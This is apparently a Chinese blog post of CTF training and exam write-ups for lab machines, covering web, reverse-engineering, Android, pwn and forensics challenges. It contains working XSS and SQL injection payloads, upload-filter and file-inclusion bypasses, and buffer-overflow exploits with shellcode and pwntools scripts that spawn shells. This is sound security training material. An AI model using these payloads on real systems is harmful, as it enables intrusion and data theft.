CTF training WriteUp

原创

a370793934 于 2019-11-26 16:14:41 发布 5231 收藏 1
分类专栏： WriteUp 文章标签： writeup CTF web

三周练习和三周考试的writeup

第一周练习

跨站脚本攻击 (XSS)

随便输下面语句

<SCRIPT>alert('XSS')</SCRIPT>

<IMG SRC="#" ONERROR="alert('XSS')"/>

<INPUT TYPE="BUTTON" ONCLICK="alert('XSS')"/>

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

什么是不安全的加密存储?

用burp--decoder--base64位decode解密 （有=或==一般base64位加密）

SQL注入

'or'1'='1 (万能密码）

不安全的加密储蓄1

凯撒加密，用书签里的网址-guess

不安全的直接对象引用

依次抓包，找到数值6 的规律，1 3 5 7 9，预测下一个是11，用11返回

sql注入1

'or'1'='1 全换成双引号

https://192.168.231.9/user/redirect?to=https://192.168.231.9/root/grantComplete/unvalidatedredirectlesson?userid=609050941

十九 NOSQL注入

抓包，最后一行改成

a';return(true); var a='a

返回显示所有的值

sub和checksum是需要改的，cookie等参数都会变换的，不用改

-126349447859206931482536743451410604575

-258907978055411938624186909350313987 60

https://192.168.231.9/user/csrfchallengeone/plusplus?userid=c02ef37f912e7047759e5bab351a0eaad5999ca6

二十二 不安全的加密存储2（维吉尼亚加密）

DwsDagmwhziArpmogWaSmmckwhMoEsmgmxlivpDttfjbjdxqBwxbKbCwgwgUyam

TheVigenereCipherIsAmethodOfEncryptingAlphabeticTextByUsingPoly

2：c81e728d9d4c2f636f067f89cc14862c

3：eccbc87e4b5ce2fe28308fd9f2a7baf3

5：e4da3b7fbbce2345d7772b0674a318d5

二十四 跨站脚本攻击3

<IMG SRC="#" onseleconseleconseleconseleconselectttttt="alert('XSS')"/>

看源代码测试为循环删除

二十六 跨站脚本攻击4

http"oNerror=alert('XSS')

27失效的数据验证2

第三个 填777777使其溢出

28无法限制URL访问2

adminidata前面有信息，url复制过来

网址留言xss攻击

http://www.<SCRIPT>alert('XSS')</SCRIPT>

跨站请求伪造攻击

https://192.168.231.9/user/redirect?to= /root/grantComplete/unvalidatedredirectlesson?userid=exampleId

https://192.168.231.9/user/csrfchallengetwo/plusplus?userId = 00002f64eef8f522c98d75dc172420a100be3ea8 & csrfToken=-4686472109511064228625706429075403781 1

ZIP破解密码用到的软件

advancedZIP和ziperello

linux虚拟机位置

C:\Users\chen\Documents\Virtual Machines\Ubuntu

用户名：root 密码：root

DVWA密码

登录方式，打开网站，输入自己电脑的ip。

用户名：admin 密码：password

第二周练习

writeup

找出flag

192.168.10.144:80

80题

ctrl+u 查看网页源代码

flag{663022ca3ff041c068aa4d4207204b95}

81题 82题

用御剑扫描网站后台

flag{0e0201c8eab38c1750d13b91016b9e31}

83题 sql注入

1.查询库名

http://192.168.10.144:83/search1.php?id=-1 Union select 1,2,3,4,5,group_concat(schema_name) from information_schema.SCHEMATA

2.查询表名

http://192.168.10.144:83/search1.php?id=-1 Union select 1,2,3,4,5,group_concat(table_name) from information_schema.TABLES where table_schema="dky1"

3.查询列名

http://192.168.10.144:83/search1.php?id=-1 Union select 1,2,3,4,5,group_concat(column_name) from information_schema.COLUMNS where table_name="flag"

4.库名、表名、列名都有了后，直接构造语句查询

http://192.168.10.144:83/search1.php?id=-1 Union select 1,2,3,4,5,group_concat(your_key) from dky1.flag

表SCHEMATA里有schema_name列

表TABLES里有table_schema,table_name列

表COLUMNS里有table_schema,table_name,column_name列

flag{97331c18bd2426772500be9b9a11f247}

84题 登录admin admin

http://192.168.10.144:84/search2.php?id=-1 Union select 1,2,3,4,5,group_concat(schema_name) from information_schema.SCHEMATA

http://192.168.10.144:84/search2.php?id=-1 Union select 1,2,3,4,5,group_concat(table_name) from information_schema.TABLES where table_schema="dky2"

http://192.168.10.144:84/search2.php?id=-1 Union select 1,2,3,4,5,group_concat(column_name) from information_schema.COLUMNS where table_name="your_key"

http://192.168.10.144:84/search2.php?id=-1 Union select 1,2,3,4,5,group_concat(your_key) from dky2.your_key

flag{2e7dd0325b265c539f4e2273144d4eec}

85题 文件上传

.jpg上传bs抓包改为.php

flag{06caf4766a10a7f7ab20517c3bed94a0}

86题 文件上传

.jpg上传bs抓包,改为.php，同时/uploads/test.php后输入%00然后URL解码产生截断

flag{6d2779881e362faddc12b45cef25e089}

88题 图片隐写

下载为.zip文件，改为.jpg文件即可打开

flag{yinxie_funney}

89题 图片隐写

下载图片用formost 2.jpg

falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}

90题 解密

base64加密需解15次，然后是凯撒加密，偏移量5

flag{encode_is_funny}

801题 跳过

802题 跳过

803题 跳过

804题 跳过

805题 跳过

806题 跳过

807题 跳过

808题 跳过

809题 跳过

810题 跳过

811题 跳过

812题 跳过

813题 用python脚本登录

```
#coding:utf-8
import requests
import re
url = "http://192.168.1.122:813/"
s = requests.Session()
for psw in range(11111,13111):
resp = s.get(url)
vcode = re.findall('\d{3}',resp.content)[0]
url1 = "http://192.168.1.122:813/index.php?username=admin&password=%s&randcode=%s"%(psw,vcode)
resp1 = s.get(url1)
print psw
#if len(resp1.content) != 166 :
#       print psw
if "flag" in resp1.content:
print "密码是："+str(psw)
break
```

得出密码12679，然后注入得flag

flag{0a19b0453da898f5a8f4a7b3dfb53d74}

814题 跳过

815题 sql注入

加入<a>标签

分析 源码发现过滤 代码

"/\(|\)|your_key|and|or|select|where|case|when|like|regexp|into|limit|=|for|;/";

1、查看数据库

-1 union SEL<a>ECT 1,2,3,4,5,SCHEMA_NAME FROM info<a>rmation_schema.SCHEMATA li<a>mit 1,1

dky6

2、查看表

-1 union sel<a>ect 1,2,3,4,5,TABLE_NAME from info<a>rmation_schema.TABLES WH<a>ERE table_schema li<a>ke 'dky6' li<a>mit 0,1

nicai

-1 union sel<a>ect 1,2,3,4,5,TABLE_NAME from info<a>rmation_schema.TABLES WH<a>ERE table_schema li<a>ke 'dky6' li<a>mit 1,1

user_info

-1 union sel<a>ect 1,2,3,4,5,TABLE_NAME from info<a>rmation_schema.TABLES WH<a>ERE table_schema li<a>ke 'dky6' li<a>mit 2,1

3、查看列

-1 union sEL<a>ECT 1,2,3,4,5,COLUMN_NAME from info<a>rmation_schema.COLUMNS wh<a>ere TABLE_NAME li<a>ke 'nicai' an<a>d table_schema li<a>ke 'dky6' li<a>mit 0,1

id

-1 union sEL<a>ECT 1,2,3,4,5,COLUMN_NAME from info<a>rmation_schema.COLUMNS wh<a>ere TABLE_NAME li<a>ke 'nicai' an<a>d table_schema li<a>ke 'dky6' li<a>mit 1,1

your_key

4、查看数据

-1 union sel<a>ect 1,2,3,4,5,you<a>r_key from nicai li<a>mit 0,1

-1 union sel<a>ect 1,2,3,4,5,you<a>r_key from nicai li<a>mit 1,1

flag{2fe015ed4e85c1c905dbd3c57c974f29}

或者用python脚本

```
#coding:utf-8

import requests

import re


url= "http://192.168.10.144:815/search3.php?id="

p1 = "-1 union SEL<a>ECT 1,2,3,4,5,SCHEMA_NAME FROM info<a>rmation_schema.SCHEMATA li<a>mit %s,1"

p2 = "-1 union sel<a>ect 1,2,3,4,5,TABLE_NAME from info<a>rmation_schema.TABLES WH<a>ERE table_schema li<a>ke '%s' li<a>mit %s,1"


default_db = ['information_schema','test','mysql']

for i in range(3):

resp = requests.get(url+p1%i)

db = re.findall('>(\w+?)</td></tr></b></table></b></font>',resp.text)[0]

if db not in default_db:

for j in range(3):

resp1 = requests.get(url+p2%(db,j))

try:

print re.findall('>(\w+?)</td></tr></b></table></b></font>',resp1.text)[0]

except:

pass
```

816题 跳过

818题 跳过

900题

御剑网站后台扫描

flag{a929e13a93d66702f4eebc110f707c41}

901题

http://192.168.10.144:901/?value=test

flag{5cb98f0eafcb2dca3d9d81aa58d4e45e}

902题

http://192.168.10.144:902/?flag=12321abc

flag{1ca75377b858abd70643e749d0365544}

903题 jsfuck编码

用御剑看源码+网页源码，输入控制台弹出flag

flag{2FEB9A8696037A8FCBE02348FEF2068D}

904题 sql注入循环过滤

关键词中加关键词

905题 sql注入 URL双重编码

http://192.168.10.144:905/search3.php?id=1

用sqlmap工具 加参数 --temper-“chardoubleencode”

flag{8c626d5f1c99251666428d7d31b6864c}

906题 四个扩展名过滤

扫描（sourceleak）看源码　jpg.gif.png.php 4个扩展名

flag{e4f5dc1b8c710902060141099492bcd8}

907题 xss

控制台弹窗alert("Hi, I am Helen")

Brupsuit 弹窗

908题 sql注入

密码123456

查看元素flag{0F084E57E33AECE3D38C655AB315352A}

909跳过

910跳过

911题

扩展名改为.pphphp

flag{59a26b68fd3eaad8767b3952e7db53ac}

912题

http://192.168.10.144:912/?message={"key":0}

flag{d20ad9f35a7a56309864b50854111e0b}

913题 跳过

914题 跳过

915题 跳过

916题

抓包 base64加密 用户名:密码

950题

御剑扫描 下载文件解压 代码审计 PHP弱类型 取0xe开头MD5值 提交时flag被过滤，需要进行URL编码 同md5字符串：240610708、QNKCDZO、aabg7XSs、aabC9RqS

flag url编码

http://192.168.10.144:950/?%66%6c%61%671=240610708&%66%6c%61%672=QNKCDZO

1000题

base64解密一次

复制到地址栏打开是二维码图片

某题 弱类型比较 md5与sha1不能加密数组

构造数组 ?name[]=1&password[]=2

某题 弱类型 键值对比较

```
$flag = array("flag"=>"0e682b5efa98ffcc387f09e504d0792d28");
if(isset($_GET['key'])){
$message = json_decode($_GET['key']);
if ($message->flag==$flag['flag'])
 {
        echo $flag['flag'];
 }else{
        die("bu zheng que");
 }
}
```

输入一个json类型的字符串，json_decode函数解密成一个数组，判断数组中key的值是否等于 $key的值，但是$key的值我们不知道，但是可以利用0=="admin"这种形式绕过

最终payload message={"flag":0}

?key={"flag":0}

第三周练习

re1.exe

导入od输入运行随便输入看寄存器得到flag

DUTCTF{We1c0met0DUTCTF}

speak2.exe

直接用ida看源码可以看到flag

This_is_the_key

reverse3.exe

用ida看源代码发现需要计算，python脚本

data = [0xE6,0xEC,0xE1,0xE7,0xba,0xf4,0xe5,0xF3,0xF4,0xF4,0xE5,0xF3,0xF4]

```
result = ''
for i in data:
for j in range(0x20,0x7f):
if j|0x80 ==i:
result +=chr(j)
print result
```

直接运行

flag:testtest

crackme1.exe

用ida看源代码直接赋值，或od直接输入比较改内存

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

3 6 b e 2 4 4 2 a d d a 4 9 1 0 5 3 0 2 d a e 8 e d c f 2 1 a 0

flag：36be2442adda49105302dae8edcf21a0

Dice.exe

导入od，把jmp都nop掉，一共五个，右键复制到可执行文件，全部选择，全部复制，在弹出的窗口弹出右键，保存文件

flag: ebCTF{64ec47ece868ba34a425d90044cd2dec}

findme.exe

导入ida看到源字符串LMQlWYWBLMb;bEHS? 然后通过od逆算法后得到：

在地址00401090 下断点 下一条add 改成sub 再下一条0xfa改为0x6，继续一直运行，看寄存器得到flag

ISNOT_THIS_A_KEY?

game.exe

导入ida看源代码，算法分析，编辑python脚本

```
a=
[18,64,98,5,2,4,6,3,6,48,49,65,32,12,48,65,31,78,62,32,49,32,1,57,96,3,21,9,4,62,3,5,4,1,2,3,44,65,78,32,16,9
```

```
b=
[123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,11
```

```
i=0
c=''
while (i<56):
a[i]^=b[i]
a[i]^=19
c=c+chr(a[i])
i=i+1
print c
```

运行

zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}

hard.exe

导入ida看源代码，发现地图

```
**    **
*  **  *
* **** *
* ******
* *#   *
* **** *
*  **  *
**    **
```

k up

j down

h left

l right

走出迷宫flag为：

Khkhhhjhjjjjjljlllklkkhhh

逆向题**no_strings_attached**

用ida打开分析查看验证函数authenticate()里面有decrypt

用gdb打开该程序，start运行一直按n步过到authenticate按s步入，然后按n到decrypt运行后，输入reg查看寄存器看到flag第一个字母，命令strings $eax $eax+100显示回车翻页，

然后复制，vim no_strings_attachedflag 建立文件粘贴后：wq保存退出，运行命令

cat no_strings_attachedflag | awk -F : '{printf $2}' |tr -d " " 导出为一行

显示flag为9447{you_are_an_international_mystery}

安卓题button.apk

用jeb导入button.apk看源代码发现是1点5下2点8下

然后用mumu模拟器安装apk点击按钮出现flag

Flag{U_r_a_smart_guy}

安卓题CrackMe01.apk

拖到jeb分析源码

编写python脚本

```
data = [79,90,95,95,135,63,109,127,133,107,109,90,112,126,60,117,112,137]
a = ''
for i in data:
 for j in range(32,127):
  v1 = j*10
  v2 = v1*13
  if ( v1 % 130 * v2 % 130 * (v2 * 2333) % 130 + j ) % 130 + 12 ==i:
   print  chr(j)
   a +=chr(j)
print a
```

运行输出flag

CNSS{3asy_aNdr0id}

逆向题simple3

chmod +x simple3 给运行权限

gdb ./simple3 用gdb工具打开

Start 开始

pdisass main 查看主函数

b *0x00000000004009d6 下断点至call函数

Run 运行程序

n 下一步

aaaaaaaaaa 随意输入字符回车

n n n 下一步运行三次运行至mov esi,0x6ca0a0

reg 查看寄存器

flag已在rsi寄存器中显示

flag{Upx_1s_n0t_a_d3liv3r_c0mp4ny}

溢出题pwn1

（本题存在shell函数，溢出到此函数地址）

chmod +x pwn1 给运行权限

gdb ./pwn1 打开

info functions 查看函数

pdisass vuln进入vuln函数

b *0x08048569 下断点call 0x80483d0 <read@plt>处

run 运行程序

pattern_create 200 创建200字符并复制

c 继续运行输入粘贴字符

pattern_offset 0x41412941 查看偏移量

显示32个字节

1094789441 found at offset: 32

pdisass shell 查看shell函数地址为0x0804851d

Q 退出gdb

python -c 'print "a"*32+"\x1d\x85\x04\x08"' >payload 构造payload

cat payload - | ./pwn1 运行程序

ls 列出文件

cat flag 查看flag

或者用python脚本

from pwn import *

#p1 = process('pwn2-shell')

p1 = remote('192.168.10.209',4000)

payload = 'a'*32 +p32(0x0804851d)

p1.send(payload)

p1.interactive()

溢出题overflow1

（本题不存在shell函数，找到jmp esp地址，构造shellcode跳过去）

chmod +x overflow1 给运行权限

gbd运行

gdb ./overflow1

Start 开始

stepuntil call 运行到call函数

pattern_create 200 创建200个字符

c 继续运行

复制字符AAA%AAsAABAA$AAnAACAA-
AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7
粘贴后回车

出现错误提示

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x41284141 in ?? ()

pattern_offset 0x41284141 计算偏移量

显示22个字节

1093157185 found at offset: 22

q 退出gdb

命令 ROPgadget --binary ./overflow1 | grep jmp

找到地址 0x08048441 : jmp esp

打开ipython转换大小端模式

from pwn import *

p32(0x08048441)

结果输出'A\x84\x04\x08'

网上搜索到
shellcode：“\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”

构造payload

```
python -c 'print
"a"*22+"A\x84\x04\x08"+"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\
> payload
```

运行（-为交互模式）

cat payload - | ./overflow1

ls

Cat flag 查看flag

或者用python脚本：

```
from pwn import *

r = remote('192.168.10.209',4000)

context.log_level = 'DEBUG'

jmp_esp = 0x08048441

payload = 'a'*22 + p32(jmp_esp) +asm(shellcraft.sh())

r.sendline(payload)

r.interactive()
```

溢出题echo1

（本题不存在shell函数，没有jmp rsp地址，构造jmp rsp命令，然后再构造shellcode跳过去，ida代码审计发现echo1函数溢出）

chmod +x echo1 给运行权限

gdb ./echo1 打开程序

start 运行程序

step echo1 运行echo1函数

111111 用户名随便输

1 选择1

另开终端

输入cyclic 200 生成200个字符

切回并复制粘贴输入

Stack 看栈前四个字节为kaaa并复制

切过去输入cyclic -l kaaa 计算偏移量

输出40

find 1111 查看jmp 地址（因为汇编赋值到eax所以只能找四位数）

显示echo1 : 0x6020a0 --> 0x31313131 ('1111')

或用ida代码审计查看id地址

为00000000006020A0

大小端转换\xA0\x20\x60\x00\x00\x00\x00\x00

Jmp rsp转换为\xff\xe4

Shellcode：

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

构造payload

```
python -c 'print "\xff\xe4\n1\n"+"A"*40+"\xA0\x20\x60\x00\x00\x00\x00\x00"+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x4
> payload
```

运行

cat payload - | ./echo1

ls

Cat flag 查看flag

或者直接用python脚本运行

```
from pwn import *

r = process('./echo1')

#shell_code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

jmp = '\xff\xe4'

addr = '\xA0\x20\x60\x00\x00\x00\x00\x00'

data = "A"*40

r.recv()
```

```
shellcode
="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
```

```
#r.recvuntil(':')

r.sendline(jmp)

r.recvuntil('>')

r.sendline('1')

addr1=0x6020A0

#r.recv()

payload = data + p64(addr1) + shellcode

print p64(addr1)

r.sendline(payload)

#print r.recv()

r.interactive()
```

20190927考试writeup

801

ctrl+u看源码

flag{5949e4f8960c572dd6763c8e9d18c766}

802 xss

" ONCLICK="alert('XSS')"/>

flag{fe370e523648f8215bc9bc5b84bbfa0e}

803 上传漏洞

抓包改a.php::$DATA

flag{1056dcc4f54254c3b927fdd87b086973}

804 条件竞争

上传a.php5，bs条件竞争

flag{3cf4c3531d5fe0540bc801bc583c1677}

805 php弱类型

?key={"flag":0}

0e682b5efa98ffcc387f09e504d0792d28

806 php弱类型

?key={"flag":2}

0e682b5efa98ffcc387f09e504d0792d28

807 sql注入

查看源码保存密码列表，bs暴力破解密码Test321登录

hackbar手工注入

flag{3A3AB045FA515FE334606C8148773688}

808 文件包含

查看源码发现filename

?filename=php://filter/read=convert.base64-encode/resource=index.php

解码发现flagg.php

?filename=php://filter/read=convert.base64-encode/resource=flagg.php

解码发现flagggggggggg.txt

?filename=php://filter/read=convert.base64-encode/resource=flagggggggggg.txt

解码发现

flag{F5392BE11D17B5F8462F96F363EFE2EB}

809 文件上传

上传a.php发现弹窗禁止，f12编辑html加入|.php，再次上传a.php

6561fa70f4959f9741c7f0e2005b66b7

810 文件上传

文件类型检查，改为image/gif

flag{eae05b08fff80e185c849f1314a3dca4}

811 文件上传

黑名单后缀检查，改为php5

flag{046b3b9328cafe767e36f2939f81c3f4}

812 文件上传

黑名单后缀检查，改为phps

flag{53d6750d5b1421b51d4abf9b9dc23986}

813 文件上传

黑名单后缀检查，改为phps

flag{f2b962d79281f3cb1e408ead05165499}

814 文件上传

后缀循环过滤，改为a.pphphphpp

flag{dbfbbe9dbabf0b62148a050888c73ed2}

815 文件上传

上传1.jpg

bs抓包

改POST内容

save_name[0]

1.php

save_name[3]

jpg

成功返回flag

flag{943c2d99ba900984a201780203ff0cf3}

816 文件上传

黑名单过滤，上传.htaccess

817 xss

f12控制台输入alert()

flag{xss_is_funny}

818 php弱类型

?a=s878926199a

flag{php_ruo_lei_xing}

819 变量覆盖

?shiyan=0&flag=php://input

post数据：0

flag{bian_liang_fu_gai}

820 反序列化

查看源码，搭建环境运行，显示序列化字符串，然后输入

?f=O:7:"example":1:{s:4:"test";s:8:"flag.php";}

#flag{xu_liehua_php}

821 文件包含

查看源码，构建

?user=php://input

POST数据：the user is admin

登入admin，文件包含查看class.php

?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

Base64解码看源码发现f1a9.php

?user=php://input&file=php://filter/read=convert.base64-encode/resource=f1a9.php

再base64解码后发现

//flag_Xd{hSh_ctf:e@syt0g3t}

822 sql注入

无数据库

username=admin%df%27or%20ascii(mid((select%20pass%20from%2021232f297a57a5a743894a0e4a801fc3

flag='{$pass}'

823

和Sql-labs-第21关一样

将bs抓取的信息保存为1.txt，cookie行后加*，直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --tamper base64encode.py --current-db --dump --batch

flag{base64_understand}

824 xss

查看源码

flag{F1FE5D85CAE0DA0CD03827866C0F5AAA}

825 xss

查看源码

flag{26E19210EE9AE6D3CDA2830C43DA5B4D}

826

无

827

无

828

无

829 curl命令漏洞

查看源码构造

?url=file://c:/windows/temp/flag.txt

flag{829}

830 文件下载

查看源码，构造下载

?filename=index.php

打开发现"flaggg.php"再次构造下载

?filename=flaggg.php

flag{6FDFC48711CFA365989D46E1C99FDAF6}

20191109考试writeup

1

base32解码得到kk:kk123登录

jwt加密密钥L3yx----++++----

https://www.jsonwebtoken.io/

flag{32ef489b73c4362ca6f28b7e7cf88368}

2

十进制时间转十六进制绕过sleep函数

http://192.168.1.104/c1.php?time=0x62e080

flag{time_S0_10ng}

3

括号补全

http://192.168.1.104/c2.php

hello=);phpinfo(

flag{you_GetltT0T}

4

ssti攻击

http://192.168.1.104/c3.php?f=file_list/../../file_list.php

flag{Fi1eD0wnTT}

5

Web1

6

Web2

7

elf64逆向1

bc2e3b4c2eb03258c5102bf9de77f57dddad9edb70c6c20febc01773e5d81947

TQL! TQL! flag: nctf{bc2e3b4c2eb03258c5102bf9de77f57dddad9edb70c6c20febc01773e5d81947}

8

elf64逆向2

maze

wwwwaaaaaaaaaaaaaaasssssssssssssssdddddddddddddddwwwwwwwwaaaaaaaaaaaa

Congratulations, you are a qualified Zhou Dynasty's fan.

9

py算法逆向

10

八进制转字符串

```
#coding:utf-8
import binascii
import base64
x = "0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113"
x = x.split()
z = ''
for i in range(len(x)):
    y = str(hex(int(x[i], 8)))[2:]
    a = str(binascii.a2b_hex(y))
    z += str(a)
```

z = base64.b64decode(z)

print(z)

ISCC{N0_0ne_can_st0p_y0u}

20191116考试writeup

考试题:

1

flag{c3f28a9d9eddf7e23dba573e6b396b48}

5

flag{encode_is_funny}

6

flag{bb59176834664f00c8987ce476567e6c}

8

flag{59a26b68fd3eaad8767b3952e7db53ac}

10

flag{7b43ec785e76070b9cb93f9ae4022551}

11

flag{99c0da8cf18253a514b81fcbf9c3459f}

15

catIFS9flag.php

flag{b1e9ffb667e2c84309677631bbd5319c}

2

flag{2fe015ed4e85c1c905dbd3c57c974f29}

7

http://192.168.1.124:910/index.php?line=4&filename=a2V5X3MucGhw

flag{7b43ec785e76070b9cb93f9ae4022551}

9

flag{d7875ba8dec47ca9982659ae2b67112f}

12

http://192.168.1.124:803/lfi.php?file=php://filter/read=convert.base64-encode/resource=showpass

禁止操作

文件包含

小试牛刀

flag{1ca414071f26c2ae42024ff9a884ef94}

13

http://192.168.1.124:917

admin

admin

xxe攻击

flag{4d269b51efa1b0ffb551f3d9865d8cb7}

全部题:

900

御剑扫目录

flag{a929e13a93d66702f4eebc110f707c41}

901

http://192.168.1.111/901/?value=test

flag{5cb98f0eafcb2dca3d9d81aa58d4e45e}

906

扫目录拿源文件

关键代码 if(!in_array($ext1, $allowed_types) || !in_array($ext2, $allowed_types) || !in_array($ext3, $allowed_types)){

上传a.png.gif.jpg.php

flag{e4f5dc1b8c710902060141099492bcd8}

909

文字粒子动画页面

右键看源码，点击：

www.baidu.com

再点击

更多源码：源码之家

得到一串竖行注释

<a> <html>f<a> <html>

<a> <html>l<a> <html>

<a> <html>a<a> <html>

<a> <html>g<a> <html>

.....

提取中间的字母得到

flag{93DFCAF3D923EC47EDB8580667473998}

916

bs爆破，添加前缀admin:然后base64加密，密码admin@123

flag{49f018c8a1d7aff7de98607a480f5fae}

1000

逆向和杂项:

Q3.pcap

找到第673个包

最后发现GET /?c=print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22)))); HTTP/1.1

ZmxhZy50eHQ=为base64编码，解码为flag.txt，所以最后的字符串

x...,l.l..0M2HL5N.H47.H.42OJ3L46HIK3N6351.....l为gzcompress加密后的flag，将原始数据复制到010editor

然后写php程序，将文件解密出来：

```
<?php
$a=gzuncompress(file_get_contents("./1.txt"));
echo $a;
?>
```

phpstudy运行得到flag

或者运行pyhon脚本解密gzcompress函数

```
#! /usr/bin/env python
import zlib
import binascii
IDAT
="789ccbc82c492e49abb6304d32484c354eb4483437b048b234324f4a334c343648494b334e36333531a8e502
# print IDAT
result =binascii.hexlify(zlib.decompress(IDAT))
print result
print result.decode('hex')
```

运行得到flag

hitctf{85b0ae3a8a708b927bf1a30dff3c6540}

p1.pcap

追踪tcp流看最后第108个包，发现有rar数据

另存为192.168.184.137到192.168.184.1的原始数据为1.rar

用rar打开，猜测密码是123456

得到flag.docx

打开得到

flag{3e3c7d63db892539f8c88a903bb6c7d1}

access.log.txt

python脚本：

```
# coding:utf-8
import re
import urllib

# 读取文件
with open("access.log.txt","r") as f:
    lines = f.readlines()
# url解码, 保存进datas数组
datas = []
for line in lines:
    datas.append(urllib.unquote(line))
# for data in datas:
#         print datas

# 提取出有注入flag的url
lines = []
for data in datas:  # 提取出注入flag的url
    if data.find("OR NOT ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM flag.flag ORDER BY flag") > 0:
        lines.append(data)
# for i in range(len(lines)):
#     print lines[i]

# 用正则匹配出三个关键数字
num_reg = re.compile(r"LIMIT 0,1\),(\d*),1\)\)>(\d*)#&Submit=Submit HTTP/1\.1\" 200 (\d*)")

# 用字典保存数1为key和数2为value,用数3判断是否大于5000，然后取数2的最小值赋值成数1的value
flag_dict = {}
for line in lines:
    num = re.search(num_reg,line)
    key = int(num.group(1))
```

```
    value = int(num.group(2))
    judge = int(num.group(3))
    if judge>5000:
        if flag_dict.has_key(key)==0 or value<flag_dict[key]:
            flag_dict[key]=value
print flag_dict
#在字典中取ascii值并转成字符串
flag = ""
for key in flag_dict:
flag += chr(flag_dict[key])
print flag
```

flag{0ac70c35787ea579baefc56e36ea9c47}

click.pcapng

下载拖到kali里

binwalk -e click.pcapng

分解得到加密的rar文件

追踪tcp最后一个包得到密码

1qaz#EDC

输入密码解压得到

flag{wireshark_is_funny}

mima.txt

猜测是摩尔斯电码

0代表.o代表-

O代表分隔符

翻译得到

666c61677b3137623938333064383764613638313139653731613733333332323531613930 7d

再转字符串

flag{17b9830d87da68119e71a73332251a90}

encode.txt

打开是一个字符串

Wm14aFozdGxZVEEwTkRjek5tTTRPREk1TWpKaU9HSmlZakkzT1RnMk4yVTJZV1ZoTW4wTkNnPT0=

两次base64解码：

flag{ea044736c882922b8bbb279867e6aea2}

liuliangfenxi.pcap

追踪第二流发现rar压缩包

导出原始数据为1.rar

打开有flag.docx里面内容：

flag{you_are_greate!!}

sethc.exe

拖进ida里

ctrl+1查看字符串有cmd.exe

按x看拿引用，F5生成伪代码

然后根据伪代码写python脚本逆出flag：

```
key = '79 6D 69 69 33 68 72 7B 6B 33 7A 6B 67 73 46 37 38 33'
flag = ''
lst = key.split(' ')
print len(lst)
print lst
for i in range(len(lst)):
#print chr(int(lst[i],16)-6),
#print i
if i !=17:
flag += chr(int(lst[i],16)-6)
else:
flag += chr(int(lst[i],16))
print flag
```

得到：

sgcc-blue-team@123

crackme.pyc

先uncompyle6 crackme.pyc反编译，得到源代码

写出python解密脚本：

```
#coding:utf-8
# uncompyle6 version 3.4.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: F:\四维比赛支撑资料\比赛和培训\眉山比赛-2019-9\crackme.py
# Compiled at: 2019-09-17 11:54:06

def encrypt(key, seed, string):
    rst = []
    for v in string:
        rst.append((ord(v) + seed ^ ord(key[seed])) % 255)
        seed = (seed + 1) % len(key)
    return rst
#逆运算
def decrypt(key,seed,KEY2):
rst = []
for k in KEY2:
rst.append(chr((k^(ord(key[seed]) % 255))-seed))
seed = (seed + 1) % len(key)
return rst
#爆破
def baopo(key,seed,KEY2):
flag1 = []
for v in KEY2:
for i in range(255):
```

```
if(i+seed^ord(key[seed]))%255==v:
break
flag1.append(chr(i))
seed=(seed+1)%len(key)
return flag1


if __name__ == '__main__':
    print "Welcome to idf's python crackme"
    flag = 'f72a423b3441c3927c721aaa0c2a7978'
    KEY1 = 'Maybe you are good at decryptint Byte Code, have a try!'
    KEY2 = [75, 68, 86, 28, 29, 93, 76, 11, 96, 37, 44, 46, 16, 101, 45, 50, 108, 29, 43, 41, 56, 2, 12, 9, 36, 239, 37, 161, 26, 34, 46, 57]
    en_out = encrypt(KEY1, 5, flag)
    print en_out
    flag = decrypt(KEY1,5,KEY2)
    print "".join(flag)
    flag1 = baopo(KEY1,5,KEY2)
    print "".join(flag1)


    if KEY2 == en_out:
        print 'You Win'
    else:
        print 'Try Again !'
# okay decompiling crackme.pyc
```

得到：

f72a423b3441c3927c721aaa0c2a7978

.....

Base64brute

丢失五位，补五位

aaaaaGZ7ODBlNTFjZGYyOTMwYmZmYzExMjFkMjdhYjhkYWEyYTV9

解出

i??hf{80e51cdf2930bffc1121d27ab8daa2a5}

猜测补全

nsctf{80e51cdf2930bffc1121d27ab8daa2a5}

bianliangfugai

扫目录拿源文件

php弱类型，过滤flag，url编码绕过

http://192.168.1.111/bianliangfugai/?%66%6c%61%671[]=1&%66%6c%61%67%32[]=2

